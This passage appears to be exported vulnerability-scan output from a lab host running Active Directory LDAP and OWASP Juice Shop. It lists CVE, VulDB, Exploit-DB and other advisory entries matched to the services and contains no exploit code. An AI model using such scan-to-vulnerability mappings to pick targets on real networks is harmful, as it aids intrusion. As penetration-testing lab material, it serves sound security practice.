[88644] Microsoft Windows 2000 Active Directory Kerberos Ticket Logging privilege escalation
[87960] Microsoft Windows Server 2008 R2/Server 2012/Server 2012 R2 Active Directory privilege escalation
[80878] Microsoft Windows Server 2012 R2 Active Directory Federation Service privilege escalation
[77640] Microsoft Windows Active Directory Code
[75783] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services cross site scripting
[74834] Microsoft Windows Server 2012 R2 Active Directory Federation Services 3.0 privilege escalation
[45063] Microsoft Windows Server 2003 Active Directory information disclosure
[26516] Microsoft Windows 95/98/ME/NT 4.0 Active Directory unknown vulnerability
[19970] Microsoft Windows 2000 Active Directory privilege escalation
[10190] Microsoft Windows 7/8/Server 2008/Vista Active Directory privilege escalation
[9929] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services information disclosure
[4474] Microsoft Windows 7/Server 2003/Server 2008/Vista/XP Active Directory Query memory corruption
[4440] Microsoft Windows Active Directory weak authentication
[4364] Microsoft Windows Active Directory cross site scripting
[4067] Microsoft Windows Active Directory Federation Service privilege escalation
[4058] Microsoft Windows Active Directory denial of service
[3845] Microsoft Windows 2000 SP4 Active Directory denial of service
[3733] Microsoft Windows Active Directory privilege escalation
[3179] Microsoft Windows Active Directory denial of service
[3178] Microsoft Windows Active Directory memory corruption
[2689] Microsoft Windows up to 2000 SP4 Active Directory denial of service
[145] Microsoft Windows 2000 Active Directory weak authentication
[134] Microsoft Windows up to 2000 SP3 Active Directory memory corruption
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151146] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151100] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151097] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[146442] F5 BIG-IP Active Directory/LDAP/Client Certificate weak authentication
[145356] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[140066] Microsoft NuGet/ADAL.NET Azure Active Directory privilege escalation
[136274] Microsoft Windows up to Server 2019 ActiveX memory corruption
[134752] Microsoft Azure Active Directory Connect 1.3.20.0 PowerShell privilege escalation
[131628] Microsoft Windows up to Server 2019 ActiveX memory corruption
[123141] Samba up to 4.6.15/4.7.8/4.8.3 Active Directory LDAP Server information disclosure
[121120] Microsoft Active Directory Federation Services Web Customizations cross site scripting
[101011] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 ActiveX Object Memory information disclosure
[99685] Microsoft Windows up to Vista SP2 LDAP privilege escalation
[92249] Microsoft Azure Active Directory Passport up to 1.4.5/2.0.0 weak authentication
[79863] Samba up to 4.3.2 Windows Active Directory Server privilege escalation
[77331] Apache ActiveMQ up to 5.11.1 on Windows Fileserver Upload/Download directory traversal
[68590] Microsoft Windows up to Vista TS WebProxy directory traversal
[66445] Microsoft Windows 8.0/8.1 XMLDOM ActiveX Control privilege escalation
[51811] Microsoft Windows max3activex.dll privilege escalation
[51497] Microsoft Windows Live Messenger 2009 ActiveX Control msnmsgr.exe denial of service
[48518] Microsoft ADAM XP Active Directory denial of service
[46007] Microsoft Windows Mobile 6.0 FTP Service directory traversal
[43982] Microsoft Windows Image Acquisition Logger ActiveX Control privilege escalation
[43953] Microsoft Windows ActiveX Control wmex.dll memory corruption
[43659] Microsoft Windows Messenger 5.1 ActiveX Control information disclosure
[42638] Microsoft Windows Installer 3.1.4000.1823 ActiveX Control msiexec.exe memory corruption
[20978] Microsoft Windows Server 2003 Shell Link directory traversal
[20961] Microsoft Windows up to 2000 SP4 Troubleshooter ActiveX Control Tshoot.ocx RunQuery2 memory corruption
[19042] Microsoft Windows NT 4.0/2000/XP HTML Help ActiveX Control hhctrl.ocx alink memory corruption
[18810] Microsoft Windows up to XP Certificate Enrollment ActiveX Control unknown vulnerability
[18709] Microsoft Windows HTML Help ActiveX Control Winhlp32.exe memory corruption
[16706] Microsoft Windows Media Player 7 WMP ActiveX Control privilege escalation
[16098] Microsoft Windows NT 4.0 Cenroll ActiveX Control xenroll.dll denial of service
[16055] Microsoft Windows 2000 System Monitor ActiveX Control memory corruption
[14976] Microsoft Windows Media Player ActiveX Control File information disclosure
[14348] Microsoft Windows NT Directory privilege escalation
[8203] Microsoft Windows up to 2012 AD LDAP Query privilege escalation
[4452] Microsoft Windows Adctive Directory Query memory corruption
[4447] Microsoft Windows Time ActiveX Control privilege escalation
[4050] Microsoft Windows ActiveX Control memory corruption
[4049] Microsoft Windows ActiveX Controls ATL OleLoadFromStream privilege escalation
[4026] Microsoft Windows DHTML Editing ActiveX Control privilege escalation
[3674] Microsoft Windows ActiveX Control hxvz.dll privilege escalation
[3309] Microsoft Visual Studio 6 ActiveX Control VBTOVSI.dll directory traversal
[3308] Microsoft Visual Studio 6 ActiveX Control PDWizard.ocx directory traversal
[2925] Microsoft Windows HTML Help ActiveX Control memory corruption
[2687] Microsoft Windows 2000/Server 2003/XP Agent ActiveX Numeric Error
[908] Microsoft Windows XP JPEG ActiveX Image Control asycpict.dll denial of service
[155] Microsoft Windows up to 2000 SP3 LDAP Cryptnet.DLL denial of service

MITRE CVE - https://cve.mitre.org:
[CVE-2011-2014] The LDAP over SSL (aka LDAPS) implementation in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not examine Certificate Revocation Lists (CRLs), which allows remote authenticated users to bypass intended certificate restrictions and access Active Directory resources by leveraging a revoked X.509 certificate for a domain account, aka "LDAPS Authentication Bypass Vulnerability."
[CVE-2009-1928] Stack consumption vulnerability in the LDAP service in Active Directory on Microsoft Windows 2000 SP4, Server 2003 SP2, and Server 2008 Gold and SP2
[CVE-2009-1139] Memory leak in the LDAP service in Active Directory on Microsoft Windows 2000 SP4 and Server 2003 SP2, and Active Directory Application Mode (ADAM) on Windows XP SP2 and SP3 and Server 2003 SP2, allows remote attackers to cause a denial of service (memory consumption and service outage) via (1) LDAP or (2) LDAPS requests with unspecified OID filters, aka "Active Directory Memory Leak Vulnerability."
[CVE-2009-1138] The LDAP service in Active Directory on Microsoft Windows 2000 SP4 does not properly free memory for LDAP and LDAPS requests, which allows remote attackers to execute arbitrary code via a request that uses hexadecimal encoding, whose associated memory is not released, related to a "DN AttributeValue," aka "Active Directory Invalid Free Vulnerability."  NOTE: this issue is probably a memory leak.
[CVE-2008-5112] The LDAP server in Active Directory in Microsoft Windows 2000 SP4 and Server 2003 SP1 and SP2 responds differently to a failed bind attempt depending on whether the user account exists and is permitted to login, which allows remote attackers to enumerate valid usernames via a series of LDAP bind requests, as demonstrated by ldapuserenum.
[CVE-2008-4023] Active Directory in Microsoft Windows 2000 SP4 does not properly allocate memory for (1) LDAP and (2) LDAPS requests, which allows remote attackers to execute arbitrary code via a crafted request, aka "Active Directory Overflow Vulnerability."
[CVE-2008-1445] Active Directory on Microsoft Windows 2000 Server SP4, XP Professional SP2 and SP3, Server 2003 SP1 and SP2, and Server 2008 allows remote authenticated users to cause a denial of service (system hang or reboot) via a crafted LDAP request.
[CVE-2008-0088] Unspecified vulnerability in Active Directory on Microsoft Windows 2000 and Windows Server 2003, and Active Directory Application Mode (ADAM) on XP and Server 2003, allows remote attackers to cause a denial of service (hang and restart) via a crafted LDAP request.
[CVE-2007-3028] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4 does not properly check "the number of convertible attributes", which allows remote attackers to cause a denial of service (service unavailability) via a crafted LDAP request, related to "client sent LDAP request logic," aka "Windows Active Directory Denial of Service Vulnerability".  NOTE: this is probably a different issue than CVE-2007-0040.
[CVE-2007-0040] The LDAP service in Windows Active Directory in Microsoft Windows 2000 Server SP4, Server 2003 SP1 and SP2, Server 2003 x64 Edition and SP2, and Server 2003 for Itanium-based Systems SP1 and SP2 allows remote attackers to execute arbitrary code via a crafted LDAP request with an unspecified number of "convertible attributes."
[CVE-2013-1282] The LDAP service in Microsoft Active Directory, Active Directory Application Mode (ADAM), Active Directory Lightweight Directory Service (AD LDS), and Active Directory Services allows remote attackers to cause a denial of service (memory consumption and service outage) via a crafted query, aka "Memory Consumption Vulnerability."
[CVE-2011-3406] Buffer overflow in Active Directory, Active Directory Application Mode (ADAM), and Active Directory Lightweight Directory Service (AD LDS) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote authenticated users to execute arbitrary code via a crafted query that leverages incorrect memory initialization, aka "Active Directory Buffer Overflow Vulnerability."
[CVE-2011-1264] Cross-site scripting (XSS) vulnerability in Active Directory Certificate Services Web Enrollment in Microsoft Windows Server 2003 SP2 and Server 2008 Gold, SP2, R2, and R2 SP1 allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka "Active Directory Certificate Services Vulnerability."
[CVE-2011-1247] Untrusted search path vulnerability in the Microsoft Active Accessibility component in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows local users to gain privileges via a Trojan horse DLL in the current working directory, aka "Active Accessibility Insecure Library Loading Vulnerability."
[CVE-2011-0654] Integer underflow in the BowserWriteErrorLogEntry function in the Common Internet File System (CIFS) browser service in Mrxsmb.sys or bowser.sys in Active Directory in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via a malformed BROWSER ELECTION message, leading to a heap-based buffer overflow, aka "Browser Pool Corruption Vulnerability." NOTE: some of these details are obtained from third party information.
[CVE-2011-0040] The server in Microsoft Active Directory on Windows Server 2003 SP2 does not properly handle an update request for a service principal name (SPN), which allows remote attackers to cause a denial of service (authentication downgrade or outage) via a crafted request that triggers name collisions, aka "Active Directory SPN Validation Vulnerability."
[CVE-2010-0820] Heap-based buffer overflow in the Local Security Authority Subsystem Service (LSASS), as used in Active Directory in Microsoft Windows Server 2003 SP2 and Windows Server 2008 Gold, SP2, and R2
[CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
[CVE-2009-2508] The single sign-on implementation in Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly remove credentials at the end of a network session, which allows physically proximate attackers to obtain the credentials of a previous user of the same web browser by using data from the browser's cache, aka "Single Sign On Spoofing in ADFS Vulnerability."
[CVE-2008-3539] Unspecified vulnerability in HP OpenView Select Identity (HPSI) Connectors on Windows, as used in HPSI Active Directory Connector 2.30 and earlier, HPSI SunOne Connector 1.14 and earlier, HPSI eDirectory Connector 1.12 and earlier, HPSI eTrust Connector 1.02 and earlier, HPSI OID Connector 1.02 and earlier, HPSI IBM Tivoli Dir Connector 1.02 and earlier, HPSI TOPSecret Connector 2.22.001 and earlier, HPSI RACF Connector 1.12.001 and earlier, HPSI ACF2 Connector 1.02 and earlier, HPSI OpenLDAP Connector 1.02 and earlier, and HPSI BiDir DirX Connector 1.00.003 and earlier, allows local users to obtain sensitive information via unknown vectors.
[CVE-2007-2999] Microsoft Windows Server 2003, when time restrictions are in effect for user accounts, generates different error messages for failed login attempts with a valid user name than for those with an invalid user name, which allows context-dependent attackers to determine valid Active Directory account names.
[CVE-2005-3169] Microsoft Windows 2000 before Update Rollup 1 for SP4, when the "audit directory service access" policy is enabled, does not record a 565 event message for File Delete Child operations on an Active Directory object in the security event log, which could allow attackers to conduct unauthorized activities without detection.
[CVE-2005-0545] Microsoft Windows XP Pro SP2 and Windows 2000 Server SP4 running Active Directory allow local users to bypass group policies that restrict access to hidden drives by using the browse feature in Office 10 applications such as Word or Excel, or using a flash drive.  NOTE: this issue has been disputed in a followup post.
[CVE-2003-0533] Stack-based buffer overflow in certain Active Directory service functions in LSASRV.DLL of the Local Security Authority Subsystem Service (LSASS) in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via a packet that causes the DsRolerUpgradeDownlevelServer function to create long debug entries for the DCPROMO.LOG log file, as exploited by the Sasser worm.
[CVE-2003-0507] Stack-based buffer overflow in Active Directory in Windows 2000 before SP4 allows remote attackers to cause a denial of service (reboot) and possibly execute arbitrary code via an LDAP version 3 search request with a large number of (1) "AND," (2) "OR," and possibly other statements, which causes LSASS.EXE to crash.
[CVE-2002-2328] Active Directory in Windows 2000, when supporting Kerberos V authentication and GSSAPI, allows remote attackers to cause a denial of service (hang) via an LDAP client that sets the page length to zero during a large request.

SecurityFocus - https://www.securityfocus.com/bid/:
[31609] Microsoft Windows Active Directory LDAP Request Handling Remote Code Execution Vulnerability
[29584] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[27638] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[24800] Microsoft Windows Active Directory LDAP Request Validation Remote Code Execution Vulnerability
[24796] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[97448] Microsoft Windows Active Directory CVE-2017-0164 Denial of Service Vulnerability
[91118] Microsoft Windows Active Directory CVE-2016-3226 Denial of Service Vulnerability
[90065] Microsoft Windows Kernel 'Win32k.sys' CVE-2016-0174 Local Privilege Escalation Vulnerability
[62184] Microsoft Windows Active Directory CVE-2013-3868 Denial of Service Vulnerability
[58848] Microsoft Windows Active Directory CVE-2013-1282 Denial of Service Vulnerability
[50570] Microsoft Active Directory LDAPS Authentication Bypass Vulnerability
[37215] Microsoft Windows Active Directory Single Sign On Authentication Spoofing Vulnerability
[36918] Microsoft Active Directory LDAP Request Stack Exhaustion Denial Of Service Vulnerability
[35226] Microsoft Active Directory Encoded LDAP String Memory Corruption Remote Code Execution Vulnerability
[32305] Microsoft Active Directory LDAP Server Username Enumeration Weakness
[8093] Microsoft Windows 2000 Active Directory Forest Origin Validation Vulnerability
[7930] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[7330] Microsoft Windows Active Directory Policy Bypass Vulnerability

IBM X-Force - https://exchange.xforce.ibmcloud.com:
[50761] Microsoft Windows Active Directory LDAP denial of service
[50759] Microsoft Windows 2000 Active Directory LDAP code execution
[45585] Microsoft Windows Active Directory LDAP search buffer overflow
[42668] Microsoft Windows Active Directory LDAP request denial of service
[40102] Microsoft Windows Active Directory LDAP request denial of service
[35180] Microsoft Windows Active Directory LDAP denial of service
[35179] Microsoft Windows Active Directory LDAP attribute buffer overflow
[86072] Microsoft Windows Active Directory Federation Services information disclosure
[71559] Microsoft Windows Active Directory buffer overflow
[70950] Microsoft Windows Active Directory privilege escalation
[67750] Microsoft Windows Active Directory Certificate Services Web Enrollment cross-site scripting
[64915] Microsoft Windows Active Directory denial of service
[54426] Microsoft Windows Active Directory Federation Services (ADFS) code execution
[54425] Microsoft Windows Active Directory Federation Services (ADFS) spoofing
[34634] Microsoft Windows Server 2003 Active Directory information disclosure
[29737] Microsoft Active Directory maximum LDAP connections reached
[12489] Microsoft Windows 2000 Server Active Directory buffer overflow

Exploit-DB - https://www.exploit-db.com:
[22782] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[30825] Microsoft Windows Media Digital Rights Management ActiveX Control Buffer Overflow Vulnerability
[29630] Microsoft Windows 2003/XP ReadDirectoryChangesW Information Disclosure Vulnerability
[20371] Microsoft Windows 95/WfW smbclient Directory Traversal Vulnerability
[19731] microsoft index server 2.0/indexing services for windows 2000 - Directory Traversal
[11195] Microsoft Windows Defender ActiveX Heap Overflow PoC

OpenVAS (Nessus) - http://www.openvas.org:
[902487] Microsoft Windows Active Directory LDAPS Authentication Bypass Vulnerability (2630837)
[902290] Microsoft Windows Active Directory SPN Denial of Service (2478953)
[901048] Microsoft Windows Active Directory Denial of Service Vulnerability (973309)
[900566] Microsoft Active Directory LDAP Remote Code Execution Vulnerability (969805)
[801598] Microsoft Windows2k3 Active Directory 'BROWSER ELECTION' Buffer Overflow Vulnerability

SecurityTracker - https://www.securitytracker.com:
[1028405] Microsoft Active Directory LDAP Processing Flaw Lets Remote Users Deny Service
[1021042] Microsoft Active Directory LDAP Memory Allocation Error Lets Remote Users Execute Arbitrary Code
[1020229] Microsoft Active Directory LDAP Validation Bug Lets Remote Users Deny Service
[1018355] Windows Active Directory Bug in Processing LDAP Convertible Attributes Lets Remote Users Execute Arbitrary Code
[1007093] Microsoft Active Directory Stack Overflow in 'Lsaas.exe' Lets Remote Users Crash the Windows 2000 Server
[1028908] Microsoft Active Directory Federation Services Discloses Account Information to Remote Users
[1026412] Microsoft Active Directory Memory Access Error Lets Remote Authenticated Users Execute Arbitrary Code
[1026294] Microsoft Active Directory CRL Validation Flaw Lets Remote Users Bypass Authentication
[1025653] Microsoft Active Directory Input Validation Flaw in Certificate Services Web Enrollment Permits Cross-Site Scripting Attacks
[1025330] Microsoft WMITools and Windows Messenger ActiveX Controls Let Remote Users Execute Arbitrary Code
[1025086] Microsoft Active Directory Heap Overflow in Processing BROWSER ELECTION Packets May Let Remote Users Execute Arbitrary Code
[1025042] Microsoft Active Directory SPN Collosions May Let Remote Authenticated Users Deny Service
[1023296] Microsoft Active Directory Federation Services Lets Remote Authenticated Users Execute Arbitrary Code and Spoof Web Sites
[1023156] Microsoft Active Directory Stack Memory Consumption Flaw Lets Remote Users Deny Service
[1022349] Microsoft Active Directory Bugs Let Remote Users Execute Arbitrary Code or Deny Service
[1021369] Microsoft Visual Basic DataGrid/FlexGrid/Heirarchival FlexGrid/Windows Common/Charts ActiveX Controls Let Remote Users Execute Arbitrary Code
[1020512] HP OpenView Select Identity Unspecified Flaw in Active Directory Bidirectional LDAP Connector Lets Remote Users Access the System
[1019382] Active Directory LDAP Processing Bug Lets Remote Users Deny Service
[1011233] WebLogic Active Directory LDAP Error May Fail to Disable User Accounts
[1009767] Microsoft Windows 2000 Domain Controller LDAP Flaw May Let Remote Users Restart the Authentication Service
[1007932] Microsoft Windows Troubleshooter ActiveX Control Buffer Overflow Lets Remote Users Execute Arbitrary Code
[1007905] Microsoft Windows Server 2003 Shell Folders Can Be Referenced Using Directory Traversal Characters
[1005150] Microsoft Windows Operating System Certificate Enrollment ActiveX Control Allows Remote Users to Delete Certificates on a Target User's System
[1004441] Microsoft Windows Help System Buffer Overflows in 'htctrl.ocx' ActiveX Control May Let Remote Users Execute Arbitrary Code on a Target User's Computer By Sending Malicious HTML
[1004369] Microsoft Active Directory May Have Bug That Allows Remote Users to Crash the Directory
[1003420] Microsoft Site Server Commerce Edition Discloses Potentially Sensitive Administration Information and Source Code to Remote Users With Valid Accounts and Discloses User Passwords from the LDAP Directory to Anonymous Remote Users
[1003075] ActivePerl for Windows Discloses Directory Path Location to Remote Users
[1001832] Microsoft Windows 2000 LDAP Server Lets Remote Users Gain Administrator Access to the Domain Controller When Configured to Support LDAP over SSL

OSVDB - http://www.osvdb.org:
[92126] Microsoft Windows Multiple Active Directory Components LDAP Crafted Query Handling Memory Consumption Remote DoS
[76902] Microsoft Windows Active Directory LDAPS CRL Handling Weakness Authentication Bypass
[60210] Microsoft Windows Active Directory Malformed LDAP Client Request Remote DoS
[59856] Microsoft Windows Active Directory Malformed LDAP Request Stack Exhaustion Remote DoS
[54938] Microsoft Windows Active Directory Crafted LDAP(S) Request Handling Remote DoS
[54937] Microsoft Windows Active Directory Crafted LDAP(S) Request Hexdecimal DN AttributeValue Handling Arbitrary Code Execution
[50000] Microsoft Windows Active Directory LDAP Server Bind Request User Account Enumeration
[49058] Microsoft Windows Active Directory LDAP(S) Request Handling Remote Overflow
[46066] Microsoft Windows Active Directory LDAP Request Processing Remote DoS
[35961] Microsoft Windows Active Directory LDAP Service Crafted Request Remote DoS
[35960] Microsoft Windows Active Directory LDAP Service Convertible Attribute Remote Code Execution
[15379] Microsoft Windows ActiveDirectory LDAP Authentication Bypass
[77667] Microsoft Windows Active Directory Query Parsing Remote Overflow
[72937] Microsoft Windows Active Directory Certificate Services Web Enrollment XSS
[72670] Microsoft Windows Server 2003 ActiveDirectory BROWSER ELECTION Remote Overflow
[70825] Microsoft Windows Server Active Directory Server Principal Name (SPN) Handling Remote DoS
[60836] Microsoft Windows Active Directory Federation Services (ADFS) Request Header Handling Remote Code Execution
[60835] Microsoft Windows Active Directory Federation Services (ADFS) Single Sign-on Spoofing
[41461] Microsoft Active Directory / ADAM Malformed LDAP Request Remote DoS
[36138] Microsoft Windows Active Directory Time Restriction User Enumeration
[30405] Microsoft Windows Active Directory Unspecified DoS
[12655] Microsoft Windows Active Directory LSASS.EXE DoS
[2237] Microsoft Windows 2000 Active Directory Lsass.exe Overflow
[1297] Microsoft Windows 2000 Active Directory Object Attribute		N/A

				192.168.186.128		2179		tcp		open		vmrdp				scanner		table		30%		syn-ack								N/A

				192.168.186.128		3000		tcp		open		ppp				scanner		table		30%		syn-ack								N/A

				192.168.186.128		3000		tcp		open		ppp				script		fingerprint-strings		30%		syn-ack						GetRequest: 
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Accept-Ranges: bytes
    Cache-Control: public, max-age=0
    Last-Modified: Tue, 26 Jul 2022 10:43:22 GMT
    ETag: W/"7d2-1823a1aa94c"
    Content-Type: text/html; charset=UTF-8
    Content-Length: 2002
    Vary: Accept-Encoding
    Date: Tue, 26 Jul 2022 14:53:31 GMT
    Connection: close
    <!--
    Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors.
    SPDX-License-Identifier: MIT
    --><!DOCTYPE html><html lang="en"><head><base href="/">
    <meta charset="utf-8">
    <title>OWASP Juice Shop</title>
    <meta name="description" content="Probably the most modern and sophisticated insecure web application">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link id="favicon" rel="icon" type="image/x-ic
  HTTPOptions, RTSPRequest: 
    HTTP/1.1 204 No Content
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
    Vary: Access-Control-Request-Headers
    Content-Length: 0
    Date: Tue, 26 Jul 2022 14:53:31 GMT
    Connection: close
  Help, NCP: 
    HTTP/1.1 400 Bad Request
    Connection: close		N/A

				192.168.186.128		3268		tcp		open		ldap				scanner		probed		100%		syn-ack		Microsoft Windows Active Directory LDAP				Domain: DC.local, Site: Default-First-Site-Name		N/A

				192.168.186.128		3268		tcp		open		ldap				script		vulscan		100%		syn-ack		Microsoft Windows Active Directory LDAP				VulDB - https://vuldb.com:
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[155092] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[149893] Microsoft Windows up to Server 2019 Active Directory privilege escalation
[141620] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[139937] Microsoft Windows up to Server 2019 Azure Active Directory information disclosure
[131642] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 Active Directory privilege escalation
[126730] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[124217] Microsoft Windows Server 2012/Server 2016 Active Directory Federation Services /adfs/ls privilege escalation
[116020] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Active Directory 7PK Security Features
[99683] Microsoft Windows 10 1607/10 1703/Server 2012 R2/Server 2016 Active Directory 7PK Security Features
[99667] Microsoft Windows 10/Server 2016 Active Directory Service Unresponsive privilege escalation
[98110] Microsoft Windows Active Directory Federation Services information disclosure
[88781] Microsoft Windows 2000 Active Directory Schema privilege escalation
[88644] Microsoft Windows 2000 Active Directory Kerberos Ticket Logging privilege escalation
[87960] Microsoft Windows Server 2008 R2/Server 2012/Server 2012 R2 Active Directory privilege escalation
[80878] Microsoft Windows Server 2012 R2 Active Directory Federation Service privilege escalation
[77640] Microsoft Windows Active Directory Code
[75783] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services cross site scripting
[74834] Microsoft Windows Server 2012 R2 Active Directory Federation Services 3.0 privilege escalation
[45063] Microsoft Windows Server 2003 Active Directory information disclosure
[26516] Microsoft Windows 95/98/ME/NT 4.0 Active Directory unknown vulnerability
[19970] Microsoft Windows 2000 Active Directory privilege escalation
[10190] Microsoft Windows 7/8/Server 2008/Vista Active Directory privilege escalation
[9929] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services information disclosure
[4474] Microsoft Windows 7/Server 2003/Server 2008/Vista/XP Active Directory Query memory corruption
[4440] Microsoft Windows Active Directory weak authentication
[4364] Microsoft Windows Active Directory cross site scripting
[4067] Microsoft Windows Active Directory Federation Service privilege escalation
[4058] Microsoft Windows Active Directory denial of service
[3845] Microsoft Windows 2000 SP4 Active Directory denial of service
[3733] Microsoft Windows Active Directory privilege escalation
[3179] Microsoft Windows Active Directory denial of service
[3178] Microsoft Windows Active Directory memory corruption
[2689] Microsoft Windows up to 2000 SP4 Active Directory denial of service
[145] Microsoft Windows 2000 Active Directory weak authentication
[134] Microsoft Windows up to 2000 SP3 Active Directory memory corruption
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151146] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151100] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[151097] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[146442] F5 BIG-IP Active Directory/LDAP/Client Certificate weak authentication
[145356] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[140066] Microsoft NuGet/ADAL.NET Azure Active Directory privilege escalation
[136274] Microsoft Windows up to Server 2019 ActiveX memory corruption
[134752] Microsoft Azure Active Directory Connect 1.3.20.0 PowerShell privilege escalation
[131628] Microsoft Windows up to Server 2019 ActiveX memory corruption
[123141] Samba up to 4.6.15/4.7.8/4.8.3 Active Directory LDAP Server information disclosure
[121120] Microsoft Active Directory Federation Services Web Customizations cross site scripting
[101011] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 ActiveX Object Memory information disclosure
[99685] Microsoft Windows up to Vista SP2 LDAP privilege escalation
[92249] Microsoft Azure Active Directory Passport up to 1.4.5/2.0.0 weak authentication
[79863] Samba up to 4.3.2 Windows Active Directory Server privilege escalation
[77331] Apache ActiveMQ up to 5.11.1 on Windows Fileserver Upload/Download directory traversal
[68590] Microsoft Windows up to Vista TS WebProxy directory traversal
[66445] Microsoft Windows 8.0/8.1 XMLDOM ActiveX Control privilege escalation
[51811] Microsoft Windows max3activex.dll privilege escalation
[51497] Microsoft Windows Live Messenger 2009 ActiveX Control msnmsgr.exe denial of service
[48518] Microsoft ADAM XP Active Directory denial of service
[46007] Microsoft Windows Mobile 6.0 FTP Service directory traversal
[43982] Microsoft Windows Image Acquisition Logger ActiveX Control privilege escalation
[43953] Microsoft Windows ActiveX Control wmex.dll memory corruption
[43659] Microsoft Windows Messenger 5.1 ActiveX Control information disclosure
[42638] Microsoft Windows Installer 3.1.4000.1823 ActiveX Control msiexec.exe memory corruption
[20978] Microsoft Windows Server 2003 Shell Link directory traversal
[20961] Microsoft Windows up to 2000 SP4 Troubleshooter ActiveX Control Tshoot.ocx RunQuery2 memory corruption
[19042] Microsoft Windows NT 4.0/2000/XP HTML Help ActiveX Control hhctrl.ocx alink memory corruption
[18810] Microsoft Windows up to XP Certificate Enrollment ActiveX Control unknown vulnerability
[18709] Microsoft Windows HTML Help ActiveX Control Winhlp32.exe memory corruption
[16706] Microsoft Windows Media Player 7 WMP ActiveX Control privilege escalation
[16098] Microsoft Windows NT 4.0 Cenroll ActiveX Control xenroll.dll denial of service
[16055] Microsoft Windows 2000 System Monitor ActiveX Control memory corruption
[14976] Microsoft Windows Media Player ActiveX Control File information disclosure
[14348] Microsoft Windows NT Directory privilege escalation
[8203] Microsoft Windows up to 2012 AD LDAP Query privilege escalation
[4452] Microsoft Windows Adctive Directory Query memory corruption
[4447] Microsoft Windows Time ActiveX Control privilege escalation
[4050] Microsoft Windows ActiveX Control memory corruption
[4049] Microsoft Windows ActiveX Controls ATL OleLoadFromStream privilege escalation
[4026] Microsoft Windows DHTML Editing ActiveX Control privilege escalation
[3674] Microsoft Windows ActiveX Control hxvz.dll privilege escalation
[3309] Microsoft Visual Studio 6 ActiveX Control VBTOVSI.dll directory traversal
[3308] Microsoft Visual Studio 6 ActiveX Control PDWizard.ocx directory traversal
[2925] Microsoft Windows HTML Help ActiveX Control memory corruption
[2687] Microsoft Windows 2000/Server 2003/XP Agent ActiveX Numeric Error
[908] Microsoft Windows XP JPEG ActiveX Image Control asycpict.dll denial of service
[155] Microsoft Windows up to 2000 SP3 LDAP Cryptnet.DLL denial of service

MITRE CVE - https://cve.mitre.org:
